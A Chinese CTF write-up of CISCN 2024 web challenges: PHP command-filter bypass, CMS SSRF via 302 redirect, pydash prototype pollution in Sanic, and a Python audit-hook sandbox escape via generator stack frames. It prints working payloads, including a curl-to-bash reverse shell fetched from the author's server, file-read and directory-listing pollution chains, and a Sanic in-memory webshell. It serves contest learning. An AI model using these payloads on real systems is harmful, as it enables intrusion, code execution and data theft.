被CISCN打烂了,几个题都是差一点就出,自己还是太菜了。顺带一提,怎么出题方有srk啊()
私货,不过在misc题里,我赛后才看见
prprprprprpr斯哈斯哈老公喜加一 
 第一天  ezphp 被这个题卡了好久,搞得我cms没时间交了,把flag放数据库里了,what 
比赛平台不给开环境了。。。。。
只能凭借记忆来写:
1 2 3 4 5 6 7 <?php $cmd  = escapeshellcmd ($_POST ['cmd' ]);if  (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|\*|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i' , $cmd )) {         system ($cmd ); }       ?> 
有escapeshellcmd
一个linux命令执行的网页,但是做了很多限制,还有前面的escapeshellcmd,直接禁用各种符号
搜索escapeshellcmd命令注入可以查到一篇文章,里面讲了一些能够绕过escapeshellcmd的方式,但是需要用到的都被ban了,不过他提供了一个思路
可以利用参数,比如ls里面的ls -al
然后找,找到了php,php -i可行,返回了phpinfo
php -r能够把php代码直接执行,而且由于题目给了escapeshellcmd自动转义,所以我们可以不用加单引号,然后发现反斜杠和反引号可以正常使用
翻遍整个目录都没有找到flag,查看/etc/passwd出现了mysql用户,合理怀疑flag在sql数据库里
后面反弹shell的流程如下:
https://lzltool.cn/Tools/IpToDec 
将自己的vps ip转成十进制
然后利用curl,在自己的vps上放一个文件,内容如下:
靶机:
1 cmd=php -r print_r (`c\url\$IFS \$9 http ://自己的十进制ip/ttt|bas\h`); 
python起80端口的http server,监听端口
等shell连过来,mysql登录root root
构思termius没有连接成功的提示,搞得我还以为卡住了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 www-data@engine-1 :/var /www/html$ mysql -uroot -p mysql -uroot -p Enter password: root show databases; a ; ERROR 1064  (42000 ) at line 2 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for  the right syntax to use  near  'a ' at  line  1 Database PHP_CMS information_schema mysql performance_schema www -data @engine -1:/var /www /html $ mysql  -uroot  -proot mysql  -uroot  -proot use  PHP_CMS ;show tables; show columns; ERROR 1064  (42000 ) at line 3 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for  the right syntax to use  near  '' at  line  1 Tables_in_PHP_CMS F1ag_Se3Re7 www -data @engine -1:/var /www /html $ mysql  -uroot  -proot mysql  -uroot  -proot use  PHP_CMS ;select * from  F1ag_Se3Re7 ; a ; ERROR 1064  (42000 ) at line 4 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for  the right syntax to use  near  'a ' at  line  1 id       f1ag66_2024 1       flag {xxxxxxx }  
 ezcms 这个题,我还以为qrcode处被修复了,所以就审其它地方去了,没想到没有修复,唉
扫到flag.php,发现需要本地ip访问。提示给出只需要本地访问即可rce,要打ssrf,搜一下这个cms有没有ssrf的洞先
查找历史漏洞,发现:
明明上面说被修复了的,为什么实际上还是用这个洞呢
想了想,哦,他说要开redis服务,那是不是说只修了用ssrf打redis的问题
看一下最新版的源码逻辑:
漏洞出现在qrcode,搜索得到:
在Api.php里,我们需要调用这个函数。先看看哪里能调用curl的函数
其实在dr_catcher_data里
这里就直接可以打ssrf,点进去它的逻辑按道理是可以直接127.0.0.1的
这里的参数是thumb
怎么调用呢?
找到一篇文章里面讲了如何调用api:
某cms 前台RCE漏洞分析 - 先知社区 
搜索template,发现就在下面
所以只用这么调用即可:
很明显要get传入text和thumb
thumb是我们你ssrf要打的payload,所以text随便传:
1 ?s=api&c=api&m=qrcode&text=1 &thumb=http: 
但是ip不正确,不能打127.0.0.1
换个思路,利用302跳转打内网
起flask服务:
python3开启httpserver到port上,打开flask服务,然后将thumb改为我们的http://vps_ip:flask端口上
然后nc监听另一个端口(需要反弹shell的)
 sanic 给了一个sanic框架的python服务,和flask差不多,但是就是换成了sanic
访问得到/src里有源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from  sanic import  Sanicfrom  sanic.response import  text, htmlfrom  sanic_session import  Sessionimport  pydashclass  Pollute :    def  __init__ (self ):         pass  app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] async  def  index (request ):    return  html(open ('static/index.html' ).read()) @app.route("/login"  async  def  login (request ):    user = request.cookies.get("user" )     if  user.lower() == 'adm;n' :         request.ctx.session['admin' ] = True          return  text("login success" )     return  text("login fail" ) @app.route("/src"  async  def  src (request ):    return  text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] async  def  admin (request ):    if  request.ctx.session.get('admin' ) == True :         key = request.json['key' ]         value = request.json['value' ]         if  key and  value and  type (key) is  str  and  '_.'  not  in  key:             pollute = Pollute()             pydash.set_(pollute, key, value)             return  text("success" )         else :             return  text("forbidden" )     return  text("forbidden" ) if  __name__ == '__main__' :    app.run(host='0.0.0.0' ) 
特意标注了pydash的版本是5.1.2,估计漏洞和他有关
这里搜一下pydash 5.1.2的洞
还真有,原型链污染,而且出现在pydash.set上,正好我们这里的admin路由就有
以下是python原型链污染的一些重点关照对象
函数形参默认值替换:函数的__defaults__和__kwdefaults__这两个内置属性 
os.environ赋值 
flask secret_key修改 
修改当前展示目录或者展示文件(DASCTF修改__file__) 
rce?(自己加的,优先前面三个) 
 
然后搜索关于pydash的原型链污染,找到了一篇pydash+jinja2的,很接近了,但不是sanic的:
Pydash 原型链污染 (furina.org.cn) 
python原型链污染的关键就是要拿到globals,只要找到了__globals__就能找到所有的全局变量和所有的类,进而进行操作
由于pydash+jinja2这篇的操作是通过jinja2编译模板的时候能够通过污染exported进行命令拼接导致的rce,我就想着sanic是不是也能这样。但是sanic的源码没找到这个方式,所以寄中寄。
还是老老实实看看能不能读文件吧
回到这题,这里有2个问题
第一个问题就是登录页,需要cookie小写后是adm;n
但是我们知道cookie里分号是分隔符,直接读的话n是读不进去的
所以这里得稍微绕一下,变成:
这个双引号也是得加进去的
所以这个问题便解决了
然后就是怎么个污染,他把_.给过滤了,这里还是师兄nb,用四个反斜杠就绕过去了:
可以看到为true,成功绕过并且触发了pydash的原型链污染
问题来到如何获取flag。既然rce不了那就只能读文件,先从源码里找能不能得到能够污染的属性
看源码/src处能够打开file来读,也就是说如果我们能污染__file__,那就能够读任意文件
获取file的前一步肯定是要获取__globals__
参照pydash+jinja2那篇的payload可以得到获取globals的payload如下
获取到__file__,污染成value,以下为污染成功的结果:
那接下来读flag,假如flag在根目录且就叫flag,那这题就结束了
但是并不是,flag不叫flag。接下来我们还得重新找一个方法读flag
注意到sanic官方文档有一个app.static:
尝试先污染这个directory_view
1 __init__\\\\.__globals__\\\\.directory_view 
这样直接污染还不行,说明不是读的globals的
但是本地报错信息给了我们一些提示:
1 2 File "D:\Python3.11\Lib\site-packages\sanic\mixins\static.py" , line 332 , in  _static_request_handler     return  await  directory_handler.handle(request, request.path) 
可以看到关于app.static的源码存在这个static.py里,去github找一下,也可以在本地找,找到参数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 Args:            uri (str): URL path to be used for serving static content.            file_or_directory (Union[PathLike, str]): Path to the static file                or directory with static files.            pattern (str, optional): Regex pattern identifying the valid                static files. Defaults to `r"/?.+"`.            use_modified_since (bool, optional): If true, send file modified                time, and return not modified if the browser's matches the                server's. Defaults to `True`.            use_content_range (bool, optional): If true, process header for                range requests and sends  the file part that is requested.                Defaults to `False`.            stream_large_files (Union[bool, int], optional): If `True`, use                the `StreamingHTTPResponse.file_stream` handler rather than                the `HTTPResponse.file handler` to send the file. If this                is an integer, it represents the threshold size to switch                to `StreamingHTTPResponse.file_stream`. Defaults to `False`,                which means that the response will not be streamed.            name (str, optional): User-defined name used for url_for.                Defaults to `"static"`.            host (Optional[str], optional): Host IP or FQDN for the                service to use.            strict_slashes (Optional[bool], optional): Instruct Sanic to                check if the request URLs need to terminate with a slash.            content_type (Optional[str], optional): User-defined content type                for header.            apply (bool, optional): If true, will register the route                immediately. Defaults to `True`.            resource_type (Optional[str], optional): Explicitly declare a                resource to be a `"file"` or a `"dir"`.            index (Optional[Union[str, Sequence[str]]], optional): When                exposing against a directory, index is  the name that will                be served as the default file. When multiple file names are                passed, then they will be tried in order.            directory_view (bool, optional): Whether to fallback to showing                the directory viewer when exposing a directory. Defaults                to `False`.            directory_handler (Optional[DirectoryHandler], optional): An                instance of DirectoryHandler that can be used for explicitly                controlling and subclassing the behavior of the default                directory handler. 
找几个有用的
uri,也就是第一个参数,静态文件在网页存放的目录 
file_or_directory,也就是第二个参数,静态文件在本地存放的目录 
directory_view,开启页面展示 
 
找到这几个参数,那得看看怎么打开,首先要获得这个static
可以利用app.router获取到路由,利用dir(app.router)获取到具体里面有什么
1 2 ['ALLOWED_METHODS' , 'DEFAULT_METHOD' , '__abstractmethods__' , '__annotations__' , '__class__' , '__delattr__' , '__dict__' , '__dir__' , '__doc__' , '__eq__' , '__format__' , '__ge__' , '__getattribute__' , '__getstate__' , '__gt__' , '__hash__' , '__init__' , '__init_subclass__' , '__le__' , '__lt__' , '__module__' , '__ne__' , '__new__' , '__reduce__' , '__reduce_ex__' , '__repr__' , '__setattr__' , '__sizeof__' , '__slots__' , '__str__' , '__subclasshook__' , '__weakref__' , '_abc_impl' , '_find_route' , '_generate_tree' , '_get' , '_get_non_static_non_path_groups' , '_is_lone_if' , '_is_regex' , '_matchers' , '_normalize' , '_optimize' , '_render' , 'add' , 'cascade_not_found' , 'ctx' , 'delimiter' , 'dynamic_routes' , 'exception' , 'finalize' , 'finalized' , 'find_route' , 'find_route_by_view_name' , 'get' , 'group_class' , 'groups' , 'matchers' , 'method_handler_exception' , 'name_index' , 'regex_routes' , 'regex_types' , 'register_pattern' , 'reset' , 'resolve' , 'route_class' , 'routes' , 'routes_all' , 'routes_dynamic' , 'routes_regex' , 'routes_static' , 'stacking' , 'static_routes' , 'tree' ] <sanic.router.Router object  at 0x00000212AD78CC90 > 
可以从name_index里获取到注册的路由,源码中的解释是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 """Find a route in the router based on the specified view name.         Args:             view_name (str): the name of the view to search for             name (Optional[str], optional): the name of the route. Defaults to `None`.         Returns:             Optional[Route]: the route object         """           if  not  view_name:             return  None          route = self.name_index.get(view_name) 
1 2 ['__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__ior__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__ror__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values'] {'__main__.static': <Route: name=__main__.static path=static/<__file_uri__:path>>} 
读取__main__.static路由,选中即可:
1 2 3 4 5 6 print(dir(app.router.name_index['__main__.static'])) print(app.router.name_index['__main__.static']) ['__annotations__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__slots__', '__str__', '__subclasshook__', '_compile_regex', '_finalize_params', '_ingest_path', '_params', '_raw_path', '_setup_params', '_sorting', 'add_parameter', 'ctx', 'defined_params', 'extra', 'finalize', 'handler', 'labels', 'methods', 'name', 'overloaded', 'params', 'parse_parameter_string', 'parts', 'path', 'pattern', 'priority', 'raw_path', 'regex', 'requirements', 'reset', 'router', 'segments', 'static', 'strict', 'unquote', 'uri'] <Route: name=__main__.static path=static/<__file_uri__:path>> 
还是有很多这种东西,现在要解决的第一件事就是我们的direcotry_view怎么得到,还是回源码找,发现directory_handler里面有设置directory_view:
1 2 3 4 5 6 7 8 9 10 11 12 13 if  not  directory_handler:            directory_handler = DirectoryHandler(                 uri=uri,                 directory=file_or_directory,                 directory_view=directory_view,                 index=index,             ) """ directory_handler (Optional[DirectoryHandler], optional): An                 instance of DirectoryHandler that can be used for explicitly                 controlling and subclassing the behavior of the default                 directory handler. """ 
能够控制普通的directory handler
发现他是从handlers包里引入的
1 from sanic.handlers.directory import DirectoryHandler 
继续翻源码,查看说明:
1 2 3 4 5 6 7 8 9 10 class  DirectoryHandler :    """Serve files from a directory.      Args:         uri (str): The URI to serve the files at.         directory (Path): The directory to serve files from.         directory_view (bool): Whether to show a directory listing or not.         index (Optional[Union[str, Sequence[str]]]): The index file(s) to             serve if the directory is requested. Defaults to None.     """ 
他是用于从一个目录种保存的文件,如果打开了directory_view,就会显示在页面里,uri是显示在哪个页面上,directory是保存的哪个文件夹下的文件
思路豁然开朗,只需要找到DirectoryHandler或者directory_handler即可污染(因为directory_handler是他的实例)
根据引入猜测一下,他是从handlers中引入的,而name_index里有 handler
继续进入,查看:
1 2 ['__annotations__' , '__call__' , '__class__' , '__class_getitem__' , '__delattr__' , '__dict__' , '__dir__' , '__doc__' , '__eq__' , '__format__' , '__ge__' , '__getattribute__' , '__getstate__' , '__gt__' , '__hash__' , '__init__' , '__init_subclass__' , '__le__' , '__lt__' , '__module__' , '__name__' , '__ne__' , '__new__' , '__qualname__' , '__reduce__' , '__reduce_ex__' , '__repr__' , '__setattr__' , '__setstate__' , '__sizeof__' , '__str__' , '__subclasshook__' , '__vectorcalloffset__' , '__wrapped__' , 'args' , 'func' , 'keywords' ] functools.partial(<bound method StaticHandleMixin._static_request_handler of Sanic(name="__main__" )>, file_or_directory='D:\\CTF\\CISCN2024\\static' , use_modified_since=True , use_content_range=False , stream_large_files=False , content_type=None , directory_handler=<sanic.handlers.directory.DirectoryHandler object  at 0x000001A44BF39C10 >) 
oh,找到了directory_handler,那接下来就是获取它并修改其属性了,他是一个functools.partial,还不能直接选择这个directory_handler,接下来从args、func、keywords都试试:
可以看见keywords能够获得到我们的DirectoryHandler(directory_handler)
跟进,这个时候变成了字典,所以可以直接调用:
1 2 3 print (dir (app.router.name_index['__main__.static' ].handler.keywords['directory_handler' ]))print (app.router.name_index['__main__.static' ].handler.keywords['directory_handler' ])
这正是我们想要的:
directory_view
修改!
默认是false,利用pydash,修改为True
本地网页测试发现报错:
keyError?
1 KeyError: '__main__.static' 
这里重新写一下payload测试:
发现居然变成了:
1 2 {'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=/>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>} [2024-06-07 13:58:37 +0800] - (sanic.access)[INFO][127.0.0.1:48834]: POST http://127.0.0.1:8000/  200 7 
奇怪,变成了__mp_main__.static,那就把里面的改一下,继续测试:
1 print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view) 
这下正常了:
页面污染测试,这里得参照上面的方法,把前面的app.router添加__init__\\\\.__globals__
1 __init__\\\\.__globals__\\\\.app.router.name_index['__mp_main__\\\\.static'].handler.keywords['directory_handler'].directory_view 
发现还是不行,晕
这里gxngxngxn师傅给出的解释是:
不能够用[]来包裹其中的索引,因为污染和直接调用不同,需要用.来连接,而__mp_main__.static是一个整体,所以只需要两个\即可
 
师傅tql,立马修改payload
1 {"key":"__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"} 
这下终于是两个True了,真不容易
访问/static,因为我们的flag肯定不在当前目录,所以我本地只放了一个1.html在static目录里
接下来就是污染目录了
回看directory_handler里面有什么东西我们可以污染利用,上文说过directory是保存的哪个文件夹下的文件,很明显只需要污染directory即可
但是直接污染会报错:
没绷住,不能够直接将directory污染成str
查看directory: Path,说明他是一个Path的对象
再看看它是怎么赋值来的:
1 2 3 4 5 6 7 8 9 10 11 12 13 def  absolute (self ):        """Return an absolute version of this path.  This function works          even if the path doesn't point to anything.         No normalization is done, i.e. all '.' and '..' will be kept along.         Use resolve() to get the canonical path to a file.         """                  if  self.is_absolute():             return  self                           return  self._from_parts([self._accessor.getcwd()] + self._parts) 
好像找到了,关键词搜索get,这里的注释是返回绝对路径
查看一下_from_parts
1 Path 对象具有从名称中提取部分值的方法和属性。例如,parts 属性会生成一个基于路径分隔符解析的路径片段序列。 
如果这里能debug的话,一下子就出来了,但是我用的是vscode,debug不了T_T
1 2 3 4 5 6 7 8 9 10 @classmethod     def  _from_parts (cls, args ):                           self = object .__new__(cls)         drv, root, parts = self._parse_args(args)         self._drv = drv         self._root = root         self._parts = parts         return  self 
可以看到有个parts对象,返回给了_parts,上面说过,parts相当于路径的切片
此时可以去查看directory的_parts了:
1 ['D:\\', 'CTF', 'CISCN2024', 'static'] 
果不其然,是个切片
污染他就好了:
1 {"key":"__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":["D:\\", "CTF", "CISCN2024", "CISCNSanic"]} 
这样就能拿到flag了
去ctfshow复现测试:
可以看见flag名了,但是直接读是读不到的。
还记得上面能够进行任意文件读吗,再利用一次即可得到flag:
1 __init__\\\\.__globals__\\\\.__file__ 
 sanic内存马 参考flask内存马,那我们也可以在sanic里找到能够利用的添加路由的方法
app.add_route(handler, "/test", methods=["GET", "POST"])
所以能参照flask的马儿写一个sanic的,注意它的handler其实就是flask里的实现方法:
handler (RouteHandler): Function or class-based view used as a route handler.
1 eval ("app.add_route(lambda:__import('os').popen(request.args.get('cmd')).read(), '/shell', methods=['GET', 'POST'])" )
 第二天  cms_revenge 把qrcode给修了,但没完全修复,只加了文件头检验,在302跳转的文件加个GIF89a即可:
1 2 3 4 5 GIF89a <?php 	echo  "GIF89a" ; 	header ("Location: http://127.0.0.1/flag.php?cmd=xxxx" ); ?> 
操作同上
 mossforn pyjail,代码如下
main.py 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import  osimport  subprocessfrom  flask import  Flask, request, jsonifyfrom  uuid import  uuid1app = Flask(__name__) runner = open ("/app/runner.py" , "r" , encoding="UTF-8" ).read() flag = open ("/flag" , "r" , encoding="UTF-8" ).readline().strip() @app.post("/run"  def  run ():    id  = str (uuid1())     try :         data = request.json         open (f"/app/uploads/{id } .py" , "w" , encoding="UTF-8" ).write(             runner.replace("THIS_IS_SEED" , flag).replace("THIS_IS_TASK_RANDOM_ID" , id ))         open (f"/app/uploads/{id } .txt" , "w" , encoding="UTF-8" ).write(data.get("code" , "" ))         run = subprocess.run(             ['python' , f"/app/uploads/{id } .py" ],             stdout=subprocess.PIPE,             stderr=subprocess.PIPE,             timeout=3          )         result = run.stdout.decode("utf-8" )         error = run.stderr.decode("utf-8" )         print (result, error)         if  os.path.exists(f"/app/uploads/{id } .py" ):             os.remove(f"/app/uploads/{id } .py" )         if  os.path.exists(f"/app/uploads/{id } .txt" ):             os.remove(f"/app/uploads/{id } .txt" )         return  jsonify({             "result" : f"{result} \n{error} "          })     except :         if  os.path.exists(f"/app/uploads/{id } .py" ):             os.remove(f"/app/uploads/{id } .py" )         if  os.path.exists(f"/app/uploads/{id } .txt" ):             os.remove(f"/app/uploads/{id } .txt" )         return  jsonify({             "result" : "None"          }) if  __name__ == "__main__" :    app.run("0.0.0.0" , 5000 ) 
main.py负责接受我们的代码,然后将其创建一个新的python文件到uploads文件夹下,这个python文件经过测试会生成两个文件,一个.py ,一个.txt
.py复制的是runner.py里的内容
.txt是我们的代码
runner.py :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 def  source_simple_check (source ):    """      Check the source with pure string in string, prevent dangerous strings     :param source: source code     :return: None     """     from  sys import  exit     from  builtins import  print      try :         source.encode("ascii" )     except  UnicodeEncodeError:         print ("non-ascii is not permitted" )         exit()     for  i in  ["__" , "getattr" , "exit" ]:         if  i in  source.lower():             print (i)             exit() def  block_wrapper ():    """      Check the run process with sys.audithook, no dangerous operations should be conduct     :return: None     """     def  audit (event, args ):         from  builtins import  str , print          import  os         for  i in  ["marshal" , "__new__" , "process" , "os" , "sys" , "interpreter" , "cpython" , "open" , "compile" , "gc" ]:             if  i in  (event + "" .join(str (s) for  s in  args)).lower():                 print (i)                 os._exit(1 )     return  audit def  source_opcode_checker (code ):    """      Check the source in the bytecode aspect, no methods and globals should be load     :param code: source code     :return: None     """     from  dis import  dis     from  builtins import  str      from  io import  StringIO     from  sys import  exit     opcodeIO = StringIO()     dis(code, file=opcodeIO)     opcode = opcodeIO.getvalue().split("\n" )     opcodeIO.close()     for  line in  opcode:         if  any (x in  str (line) for  x in  ["LOAD_GLOBAL" , "IMPORT_NAME" , "LOAD_METHOD" ]):             if  any (x in  str (line) for  x in  ["randint" , "randrange" , "print" , "seed" ]):                 break              print ("" .join([x for  x in  ["LOAD_GLOBAL" , "IMPORT_NAME" , "LOAD_METHOD" ] if  x in  str (line)]))             exit() if  __name__ == "__main__" :    from  builtins import  open      from  sys import  addaudithook     from  contextlib import  redirect_stdout     from  random import  randint, randrange, seed     from  io import  StringIO     from  random import  seed     from  time import  time     source = open (f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt" , "r" ).read()     source_simple_check(source)     source_opcode_checker(source)     code = compile (source, "<sandbox>" , "exec" )     addaudithook(block_wrapper())     outputIO = StringIO()     with  redirect_stdout(outputIO):         seed(str (time()) + "THIS_IS_SEED"  + str (time()))         exec (code, {             "__builtins__" : None ,             "randint" : randint,             "randrange" : randrange,             "seed" : seed,             "print" : print          }, None )     output = outputIO.getvalue()     if  "THIS_IS_SEED"  in  output:         print ("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!" )         print ("bad code-operation why still happened ah?" )     else :         print (output) 
runner.py就是通过读取生成的txt内容,并且执行
这里经过了三重过滤:
source_simple_check(),检测双下划线、getattr、exit,以及检查是否输入的是ascii范围内的符号 
block_wrapper,定义的是audit hook,使用的黑名单,这几个都不能用,而且由于audit hook处于python的底层实现,所以无法通过常规变换绕过 
source_opcode_checker,将传入的代码变成opcode,防止加载globals、name、method这些操作 
 
几乎无懈可击啊T_T
但是还是通过一个trick绕过了
这就是大名鼎鼎的栈帧沙箱逃逸
 生成器 利用yield关键字来定义一个生成器。yield用于产生一个值,并且在保留当前状态的同时,暂停函数的执行。当下次调用这个生成器的时候,函数就会从上次暂停的状态继续进行。直至遇见下一个yield状态或者程序结束
example:
1 2 3 4 5 6 7 8 9 10 11 def  fib (max 	n, a, b = 0 ,0 ,1      while  n < max : 		yield  b          a, b = b, a+b         n = n + 1      return  'done'  f = fib(6 ) print (f) for  i in  f:    print (i)  
生成器的return返回值必须从stopIteration异常中获取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def  fib (max 	n, a, b = 0 ,0 ,1      while  n < max : 		yield  b          a, b = b, a+b         n = n + 1      return  'done'  f = fib(6 ) print (f) while  True :    try :         x = next (f)         print ('value: ' , x)     except  StopIteration as  e:         print ('Return value' , e.value)          break  
 生成器的属性 生成器有如下属性:
gi_code:生成器对应的code对象 
gi_frame:生成器对应的frame(栈帧)对象
gi_running:判断生成器的函数是否正在执行。生成器函数在yield以后,执行yield的下一行代码前处于冻结状态,此时gi_running为0
gi_yieldfrom:如果生成器正在从另一个生成器中yield值,斥责该对象为生成器对象的引用,否则为None
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量 
关键在于gi_frame。它指向生成器或者写成当前执行的帧对象。如果这个生成器或者协程在执行的话,帧对象表示的是代码执行的当前上下变量、执行的字节码指令等信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def  my_generator ():    yield  1      yield  2      yield  3  gen = my_generator() frame = gen.gi_frame print ("Local Variables:" , frame.f_locals)print ("Global Variables:" , frame.f_globals)print ("Code Object:" , frame.f_code)print ("Instruction Pointer:" , frame.f_lasti)
输出结果如下:
1 2 3 4 5 6 Local Variables: {} Global Variables: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002051C3D2150>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'd:\\CTF\\CISCN2024\\python_learning\\frame_example.py', '__cached__': None, 'my_generator': <function my_generator at 0x000002051C2C0680>, 'gen': <generator object my_generator at 0x000002051C2789E0>, 'frame': <frame at 0x000002051C280820, file 'd:\\CTF\\CISCN2024\\python_learning\\frame_example.py', line 1, code my_generator>} Code Object: <code object my_generator at 0x000002051C3D9C30, file "d:\CTF\CISCN2024\python_learning\frame_example.py", line 1> Instruction Pointer: 0 
 栈帧 Python中的栈帧,也称为帧,是用于执行代码的数据结构,每当python执行一个函数或者方法的时候,就会新建一个栈帧,用于储存该函数或者方法的局部变量、参数、返回地址以及其他执行相关的信息,这些栈帧会按被调用的顺序组织成一个栈,也叫调用栈
frame的几个属性:
f_locals:一个字典,包含了函数或者方法的局部变量。字典中:key是变量名,value是变量的值f_globals:一个字典,包含了函数或者方法的全局变量。字典中:key是全局变量名,value是变量的值f_code,一个代码对象,包含了函数或者方法的字节码指令、常量、变量名等信息f_lasti:整数,用于表示最后执行的字节码指令的索引f_back:指向上一级调用栈帧的引用,用于构建调用栈 
 栈帧逃逸 利用就是通过f_back,可以理解为回到前一帧,此时就能够逃逸出去,获取到globals全局符号表,比如下面这个代码,将builtins置空:
1 2 3 4 5 6 7 exec (code, {        "__builtins__" : None ,         "randint" : random.randint,         "randrange" : random.randrange,         "seed" : random.seed,         "print" : print      }, None ) 
因为将builtins置空了,所以我们不能够直接使用next函数来获得帧,可以改成下面的形式:
1 frame = [x for  x in  g][0 ] 
这样就能够正常获取到帧了
通过帧获取到flag,flag可能会有以下几种形式存在:
flag是常量,写在了运行的这个python脚本里,但是我们不知道里面的内容。此时由于是常量,我们就可以通过f_code后取到代码对象,从而获取到常量 
 
1 2 3 4 5 6 7 8 def  func ():	def  f (): 		yield  g.gi_frame.f_back     g = f()     frame = [x for  x in  g][0 ]     builtin = frame.f_back.f_back.f_back.f_locals['__builtins__' ]      code = frame.f_back.f_back.f_back.f_code     print (code.co_consts) 
测试结果如下:
可以看见我们获取到了THIS_IS_THE_FLAG常量
flag是变量,通过以下几种方式引入:
读取某个文件的flag(open('xxx').readline().strip()) 
引入某个py文件from secret import flag 
 
 
 
1 2 3 4 5 6 7 8 def  func ():	def  f (): 		yield  g.gi_frame.f_back     g = f()     frame = [x for  x in  g][0 ]     builtin = frame.f_back.f_back.f_back.f_locals['__builtins__' ]      gl = frame.f_back.f_back.f_back.f_globals     print (gl) 
注,可以通过dir()查看某个东西里面的东西,例如dir(__builtins__) 
 
 骚操作 通过栈帧逃逸修改globals里的函数,比如L3HCTF 2024里的interactive problem revenge
题目描述的是让我们写一个算法,在5秒钟内分解一个大数,且分解出来的p q必须大于10万
其中它的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import  sysimport  oscodes='''  <<codehere>> ''' try :    codes.encode("ascii" ) except  UnicodeEncodeError:    exit(0 ) if  "__"  in  codes:    print ("__ bypass!!" )     exit(0 ) codes+="\nres=factorization(c)"  print (codes)locals ={"c" :"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863" ,"__builtins__" : None }res=set () def  blackFunc (oldexit ):    def  func (event, args ):         blackList = ["process" ,"os" ,"sys" ,"interpreter" ,"cpython" ,"open" ,"compile" ,"__new__" ,"gc" ]         for  i in  blackList:             if  i in  (event + "" .join(str (s) for  s in  args)).lower():                 print ("noooooooooo" )                 print (i)                 oldexit(0 )     return  func code = compile (codes, "<judgecode>" , "exec" ) sys.addaudithook(blackFunc(os._exit)) exec (code,{"__builtins__" : None },locals )print (locals )p=int (locals ["res" ][0 ]) q=int (locals ["res" ][1 ]) if (p>1e5  and  q>1e5  and  p*q==int 